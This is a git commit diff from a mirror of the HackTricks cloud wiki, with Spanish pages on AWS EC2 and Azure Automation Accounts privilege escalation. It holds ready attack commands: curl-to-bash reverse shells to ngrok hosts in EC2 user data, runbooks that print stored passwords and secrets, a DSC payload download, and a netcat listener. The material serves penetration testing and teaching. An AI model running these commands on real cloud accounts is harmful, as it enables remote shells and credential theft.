mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 05:33:10 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -406,8 +406,7 @@
|
||||
- [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md)
|
||||
- [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md)
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md)
|
||||
- [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
|
||||
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
|
||||
@@ -454,6 +453,7 @@
|
||||
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
|
||||
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
|
||||
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
|
||||
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
|
||||
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
|
||||
|
||||
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
```
|
||||
- **Acceso a través de rev shell en datos de usuario**
|
||||
|
||||
Puedes ejecutar una nueva instancia utilizando **datos de usuario** (`--user-data`) que te enviará un **rev shell**. No necesitas especificar el grupo de seguridad de esta manera.
|
||||
Puedes ejecutar una nueva instancia utilizando un **user data** (`--user-data`) que te enviará un **rev shell**. No necesitas especificar el grupo de seguridad de esta manera.
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -59,7 +59,7 @@ aws ec2 run-instances \
|
||||
#!/bin/bash
|
||||
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
|
||||
```
|
||||
Para aprender a **forzar los servicios de ECS a ejecutarse** en esta nueva instancia de EC2, consulta:
|
||||
Para aprender cómo **forzar a los servicios de ECS a ejecutarse** en esta nueva instancia de EC2, consulta:
|
||||
|
||||
{{#ref}}
|
||||
aws-ecs-privesc.md
|
||||
@@ -80,9 +80,9 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
Si el **perfil de instancia tiene un rol** y el atacante **no puede eliminarlo**, hay otra solución. Podría **encontrar** un **perfil de instancia sin un rol** o **crear uno nuevo** (`iam:CreateInstanceProfile`), **agregar** el **rol** a ese **perfil de instancia** (como se discutió anteriormente) y **asociar el perfil de instancia** comprometido a una **instancia** comprometida:
|
||||
Si el **perfil de instancia tiene un rol** y el atacante **no puede eliminarlo**, hay otra solución alternativa. Podría **encontrar** un **perfil de instancia sin un rol** o **crear uno nuevo** (`iam:CreateInstanceProfile`), **agregar** el **rol** a ese **perfil de instancia** (como se discutió anteriormente), y **asociar el perfil de instancia** comprometido a una **instancia** comprometida:
|
||||
|
||||
- Si la instancia **no tiene ningún perfil de instancia** (`ec2:AssociateIamInstanceProfile`) \*
|
||||
- Si la instancia **no tiene ningún perfil de instancia** (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
@@ -92,18 +92,16 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
|
||||
|
||||
Con estos permisos es posible cambiar el perfil de instancia asociado a una instancia, por lo que si el ataque ya tenía acceso a una instancia, podrá robar credenciales para más roles de perfil de instancia cambiando el que está asociado a ella.
|
||||
|
||||
- Si **tiene un perfil de instancia**, puedes **eliminar** el perfil de instancia (`ec2:DisassociateIamInstanceProfile`) y **asociarlo** \*
|
||||
- Si **tiene un perfil de instancia**, puedes **eliminar** el perfil de instancia (`ec2:DisassociateIamInstanceProfile`) y **asociarlo**.
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- o **reemplazar** el **perfil de instancia** de la instancia comprometida (`ec2:ReplaceIamInstanceProfileAssociation`). \*
|
||||
````
|
||||
- o **reemplazar** el **perfil de instancia** de la instancia comprometida (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
````
|
||||
**Impacto Potencial:** Privesc directo a un rol de EC2 diferente (necesitas haber comprometido una instancia de AWS EC2 y tener algunos permisos adicionales o un estado específico del perfil de instancia).
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
@@ -164,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
Un atacante con los permisos **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`y `ec2:ModifyLaunchTemplate`** puede crear una **nueva versión de Plantilla de Lanzamiento** con un **rev shell en** los **datos del usuario** y **cualquier Rol IAM de EC2 en él**, cambiar la versión predeterminada, y **cualquier grupo de Autoscaler** **usando** esa **Plantilla de Lanzamiento** que está **configurada** para usar la **última** o la **versión predeterminada** volverá a **ejecutar las instancias** usando esa plantilla y ejecutará el rev shell.
|
||||
Un atacante con los permisos **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`y `ec2:ModifyLaunchTemplate`** puede crear una **nueva versión de Plantilla de Lanzamiento** con un **rev shell en** los **datos del usuario** y **cualquier Rol IAM de EC2 en ella**, cambiar la versión predeterminada, y **cualquier grupo de Autoscaler** **usando** esa **Plantilla de Lanzamiento** que está **configurada** para usar la **última** o la **versión predeterminada** volverá a **ejecutar las instancias** usando esa plantilla y ejecutará el rev shell.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -182,7 +180,7 @@ aws ec2 modify-launch-template \
|
||||
|
||||
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
|
||||
|
||||
Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear una Configuración de Lanzamiento** con un **Rol de IAM** y un **rev shell** dentro de los **datos del usuario**, luego **crear un grupo de autoscaling** a partir de esa configuración y esperar a que el rev shell **robe el Rol de IAM**.
|
||||
Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear una Configuración de Lanzamiento** con un **Rol de IAM** y un **rev shell** dentro de los **datos del usuario**, luego **crear un grupo de escalado automático** a partir de esa configuración y esperar a que el rev shell **robe el Rol de IAM**.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -219,7 +217,7 @@ aws ec2-instance-connect send-ssh-public-key \
|
||||
|
||||
Un atacante con el permiso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** puede **agregar una clave ssh a una conexión serial**. Si la serial no está habilitada, el atacante necesita el permiso **`ec2:EnableSerialConsoleAccess` para habilitarla**.
|
||||
|
||||
Para conectarse al puerto serial también **necesita conocer el nombre de usuario y la contraseña de un usuario** dentro de la máquina.
|
||||
Para conectarse al puerto serial, también **necesita conocer el nombre de usuario y la contraseña de un usuario** dentro de la máquina.
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
@@ -231,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
|
||||
|
||||
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
|
||||
```
|
||||
Este método no es tan útil para privesc ya que necesitas conocer un nombre de usuario y una contraseña para explotarlo.
|
||||
Este método no es muy útil para privesc ya que necesitas conocer un nombre de usuario y una contraseña para explotarlo.
|
||||
|
||||
**Impacto Potencial:** (Altamente improbable) Privesc directo a los roles de IAM de EC2 adjuntos a las instancias en ejecución.
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
Dado que las plantillas de lanzamiento tienen versionado, un atacante con permisos de **`ec2:describe-launch-templates`** y **`ec2:describe-launch-template-versions`** podría explotarlos para descubrir información sensible, como credenciales presentes en los datos del usuario. Para lograr esto, el siguiente script recorre todas las versiones de las plantillas de lanzamiento disponibles:
|
||||
Dado que las plantillas de lanzamiento tienen versionado, un atacante con permisos de **`ec2:describe-launch-templates`** y **`ec2:describe-launch-template-versions`** podría explotarlas para descubrir información sensible, como credenciales presentes en los datos del usuario. Para lograr esto, el siguiente script recorre todas las versiones de las plantillas de lanzamiento disponibles:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
|
||||
@@ -0,0 +1,239 @@
|
||||
# Az - Azure Automation Accounts Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Automation Accounts
|
||||
|
||||
Para más información, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-automation-accounts.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
En resumen, estos permisos permiten **crear, modificar y ejecutar Runbooks** en la Cuenta de Automatización, que podrías usar para **ejecutar código** en el contexto de la Cuenta de Automatización y escalar privilegios a las **Identidades Administradas** asignadas y filtrar **credenciales** y **variables** encriptadas almacenadas en la Cuenta de Automatización.
|
||||
|
||||
El permiso **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permite modificar el código de un Runbook en la Cuenta de Automatización usando:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
--resource-group Resource_Group_1 \
|
||||
--automation-account-name autoaccount1 \
|
||||
--name AzureAutomationTutorialWithIdentity \
|
||||
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
|
||||
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
|
||||
$runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
Nota cómo el script anterior puede ser utilizado para **leak the useranmd and password** de una credencial y el valor de una **encrypted variable** almacenada en la Automation Account.
|
||||
|
||||
El permiso **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permite al usuario publicar un Runbook en la Automation Account para que los cambios se apliquen:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <account-name> \
|
||||
--name <runbook-name>
|
||||
```
|
||||
El permiso **`Microsoft.Automation/automationAccounts/jobs/write`** permite al usuario ejecutar un Runbook en la Cuenta de Automatización utilizando:
|
||||
```bash
|
||||
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
|
||||
```
|
||||
El permiso **`Microsoft.Automation/automationAccounts/jobs/output/read`** permite al usuario leer la salida de un trabajo en la Cuenta de Automatización utilizando:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
Si no hay Runbooks creados, o si deseas crear uno nuevo, necesitarás los **permisos `Microsoft.Resources/subscriptions/resourcegroups/read` y `Microsoft.Automation/automationAccounts/runbooks/write`** para hacerlo usando:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Este permiso permite al usuario **asignar una identidad administrada por el usuario** a la Cuenta de Automatización usando:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
Con el permiso **`Microsoft.Automation/automationAccounts/schedules/write`** es posible crear un nuevo Schedule en la Automation Account que se ejecuta cada 15 minutos (no muy sigiloso) utilizando el siguiente comando.
|
||||
|
||||
Tenga en cuenta que el **intervalo mínimo para un schedule es de 15 minutos**, y el **tiempo de inicio mínimo es de 5 minutos** en el futuro.
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
|
||||
--name <SCHEDULE_NAME> \
|
||||
--description "Triggers runbook every minute" \
|
||||
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
|
||||
## Form macOS
|
||||
az automation schedule create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
|
||||
--name <SCHEDULE_NAME> \
|
||||
--description "Triggers runbook every 15 minutes" \
|
||||
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Luego, con el permiso **`Microsoft.Automation/automationAccounts/jobSchedules/write`** es posible asignar un Programador a un runbook usando:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"runOn": "",
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
},
|
||||
"schedule": {
|
||||
"name": "<scheduler-name>>"
|
||||
},
|
||||
"parameters": {}
|
||||
}
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> En el ejemplo anterior, el id del jobchedule se dejó como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` como ejemplo** pero necesitarás usar un valor arbitrario para crear esta asignación.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
Con el permiso **`Microsoft.Automation/automationAccounts/webhooks/write`** es posible crear un nuevo Webhook para un Runbook dentro de una Cuenta de Automatización utilizando el siguiente comando.
|
||||
|
||||
Ten en cuenta que necesitarás **indicar la URI del webhook** con el token a utilizar.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
|
||||
--body '{
|
||||
"name": "<webhook-name>",
|
||||
"properties": {
|
||||
"isEnabled": true,
|
||||
"expiryTime": "2026-01-09T20:03:30.291Z",
|
||||
"parameters": {},
|
||||
"runOn": null,
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
},
|
||||
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
|
||||
}
|
||||
}'
|
||||
|
||||
# Then, to call the runbook using the webhook
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
Solo con el permiso `Microsoft.Automation/automationAccounts/runbooks/draft/write` es posible **actualizar el código de un Runbook** sin publicarlo y ejecutarlo utilizando los siguientes comandos.
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
--resource-group Resource_Group_1 \
|
||||
--automation-account-name autoaccount1 \
|
||||
--name AzureAutomationTutorialWithIdentity \
|
||||
--content 'echo "Hello World"'
|
||||
|
||||
# Run the unpublished code
|
||||
az rest \
|
||||
--method PUT \
|
||||
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"parameters": {},
|
||||
"runOn": "",
|
||||
"runtimeEnvironment": "PowerShell-5.1"
|
||||
}'
|
||||
|
||||
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
|
||||
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
Este permiso permite al usuario **configurar un control de fuente** para la Cuenta de Automatización utilizando comandos como el siguiente (esto usa Github como ejemplo):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <automation-account-name> \
|
||||
--name RemoteGithub \
|
||||
--repo-url https://github.com/carlospolop/gh-runbooks.git \
|
||||
--branch main \
|
||||
--folder-path /runbooks/ \
|
||||
--publish-runbook true \
|
||||
--auto-sync \
|
||||
--source-type GitHub \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
Esto importará automáticamente los runbooks del repositorio de Github a la Automation Account y con algunos otros permisos para comenzar a ejecutarlos sería **posible escalar privilegios**.
|
||||
|
||||
Además, recuerda que para que el control de origen funcione en Automation Accounts debe tener una identidad administrada con el rol **`Contributor`** y si es una identidad administrada por el usuario, esto también se puede configurar estableciendo en la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** el **client id** de la identidad administrada por el usuario a utilizar.
|
||||
|
||||
> [!TIP]
|
||||
> Ten en cuenta que no es posible cambiar la URL del repo de un control de origen una vez que se ha creado.
|
||||
|
||||
### Entornos de Ejecución Personalizados
|
||||
|
||||
Si una cuenta de automatización está utilizando un entorno de ejecución personalizado, podría ser posible sobrescribir un paquete personalizado del entorno con algún código malicioso (como **una puerta trasera**). De esta manera, cada vez que se ejecute un runbook que utilice ese entorno personalizado y cargue el paquete personalizado, se ejecutará el código malicioso.
|
||||
|
||||
### Comprometiendo la Configuración de Estado
|
||||
|
||||
**Consulta la publicación completa en:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- Paso 1 — Crear Archivos
|
||||
|
||||
**Archivos Requeridos:** Se necesitan dos scripts de PowerShell:
|
||||
1. `reverse_shell_config.ps1`: Un archivo de Desired State Configuration (DSC) que obtiene y ejecuta la carga útil. Se puede obtener de [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Un script para publicar la configuración en la VM, disponible en [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
**Personalización:** Las variables y parámetros en estos archivos deben adaptarse al entorno específico del usuario, incluidos los nombres de recursos, rutas de archivos e identificadores de servidor/carga útil.
|
||||
|
||||
- Paso 2 — Comprimir el Archivo de Configuración
|
||||
|
||||
El `reverse_shell_config.ps1` se comprime en un archivo `.zip`, preparándolo para la transferencia a la Azure Storage Account.
|
||||
```powershell
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Paso 3 — Establecer contexto de almacenamiento y cargar
|
||||
|
||||
El archivo de configuración comprimido se carga en un contenedor de almacenamiento de Azure predefinido, azure-pentest, utilizando el cmdlet Set-AzStorageBlobContent de Azure.
|
||||
```powershell
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Paso 4 — Preparar Kali Box
|
||||
|
||||
El servidor Kali descarga la carga útil RevPS.ps1 de un repositorio de GitHub.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
El script se edita para especificar la VM de Windows objetivo y el puerto para el shell inverso.
|
||||
|
||||
- Paso 5 — Publicar Archivo de Configuración
|
||||
|
||||
El archivo de configuración se ejecuta, lo que resulta en que el script de shell inverso se despliega en la ubicación especificada en la VM de Windows.
|
||||
|
||||
- Paso 6 — Alojar Carga Útil y Configurar Escucha
|
||||
|
||||
Se inicia un Python SimpleHTTPServer para alojar la carga útil, junto con un listener de Netcat para capturar conexiones entrantes.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
La tarea programada ejecuta la carga útil, logrando privilegios a nivel de SYSTEM.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,170 +0,0 @@
|
||||
# Az - Automation Account
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Información Básica
|
||||
|
||||
[Desde la documentación:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation ofrece un servicio de automatización basado en la nube, actualizaciones del sistema operativo y gestión de configuraciones que admite una gestión consistente en sus entornos de Azure y no Azure. Incluye automatización de procesos, gestión de configuraciones, gestión de actualizaciones, capacidades compartidas y características heterogéneas.
|
||||
|
||||
Estos son como "**tareas programadas**" en Azure que le permitirán ejecutar cosas (acciones o incluso scripts) para **gestionar**, verificar y configurar el **entorno de Azure**.
|
||||
|
||||
### Cuenta de Ejecución
|
||||
|
||||
Cuando se utiliza **Run as Account**, crea una **aplicación** de Azure AD con un certificado autofirmado, crea un **principal de servicio** y asigna el rol de **Contribuyente** para la cuenta en la **suscripción actual** (muchos privilegios).\
|
||||
Microsoft recomienda usar una **Identidad Administrada** para la Cuenta de Automatización.
|
||||
|
||||
> [!WARNING]
|
||||
> Esto será **eliminado el 30 de septiembre de 2023 y cambiado por Identidades Administradas.**
|
||||
|
||||
## Runbooks y Trabajos
|
||||
|
||||
**Runbooks** le permiten **ejecutar código PowerShell arbitrario**. Esto podría ser **abusado por un atacante** para robar los permisos del **principal adjunto** (si lo hay).\
|
||||
En el **código** de los **Runbooks** también podría encontrar **información sensible** (como credenciales).
|
||||
|
||||
Si puede **leer** los **trabajos**, hágalo ya que **contienen** la **salida** de la ejecución (potencial **información sensible**).
|
||||
|
||||
Vaya a `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
|
||||
|
||||
### Trabajador Híbrido
|
||||
|
||||
Un Runbook puede ejecutarse en un **contenedor dentro de Azure** o en un **Trabajador Híbrido** (máquina no Azure).\
|
||||
El **Agente de Log Analytics** se despliega en la VM para registrarla como un trabajador híbrido.\
|
||||
Los trabajos del trabajador híbrido se ejecutan como **SYSTEM** en Windows y como cuenta **nxautomation** en Linux.\
|
||||
Cada Trabajador Híbrido está registrado en un **Grupo de Trabajadores Híbridos**.
|
||||
|
||||
Por lo tanto, si puede elegir ejecutar un **Runbook** en un **Trabajador Híbrido de Windows**, ejecutará **comandos arbitrarios** dentro de una máquina externa como **System** (buena técnica de pivot).
|
||||
|
||||
## Compromiso de Configuración de Estado (SC)
|
||||
|
||||
[Desde la documentación:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration** es un servicio de gestión de configuraciones de Azure que le permite escribir, gestionar y compilar configuraciones de PowerShell Desired State Configuration (DSC) [configuraciones](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) para nodos en cualquier nube o centro de datos local. El servicio también importa [Recursos DSC](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources) y asigna configuraciones a nodos objetivo, todo en la nube. Puede acceder a Azure Automation State Configuration en el portal de Azure seleccionando **State configuration (DSC)** bajo **Configuration Management**.
|
||||
|
||||
**Información sensible** podría encontrarse en estas configuraciones.
|
||||
|
||||
### RCE
|
||||
|
||||
Es posible abusar de SC para ejecutar scripts arbitrarios en las máquinas gestionadas.
|
||||
|
||||
{{#ref}}
|
||||
az-state-configuration-rce.md
|
||||
{{#endref}}
|
||||
|
||||
## Enumeración
|
||||
```powershell
|
||||
# Check user right for automation
|
||||
az extension add --upgrade -n automation
|
||||
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
||||
|
||||
# Gets Azure Automation accounts in a resource group
|
||||
Get-AzAutomationAccount
|
||||
|
||||
# List & get DSC configs
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
|
||||
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
|
||||
|
||||
# List & get Run books code
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
|
||||
|
||||
# List credentials & variables & others
|
||||
Get-AzAutomationAccount | Get-AzAutomationCredential
|
||||
Get-AzAutomationAccount | Get-AzAutomationVariable
|
||||
Get-AzAutomationAccount | Get-AzAutomationConnection
|
||||
Get-AzAutomationAccount | Get-AzAutomationCertificate
|
||||
Get-AzAutomationAccount | Get-AzAutomationSchedule
|
||||
Get-AzAutomationAccount | Get-AzAutomationModule
|
||||
Get-AzAutomationAccount | Get-AzAutomationPython3Package
|
||||
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
|
||||
|
||||
# List hybrid workers
|
||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
||||
```
|
||||
### Crear un Runbook
|
||||
```powershell
|
||||
# Get the role of a user on the Automation account
|
||||
# Contributor or higher = Can create and execute Runbooks
|
||||
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
|
||||
|
||||
# Create a Powershell Runbook
|
||||
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
|
||||
|
||||
# Publish the Runbook
|
||||
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
||||
|
||||
# Start the Runbook
|
||||
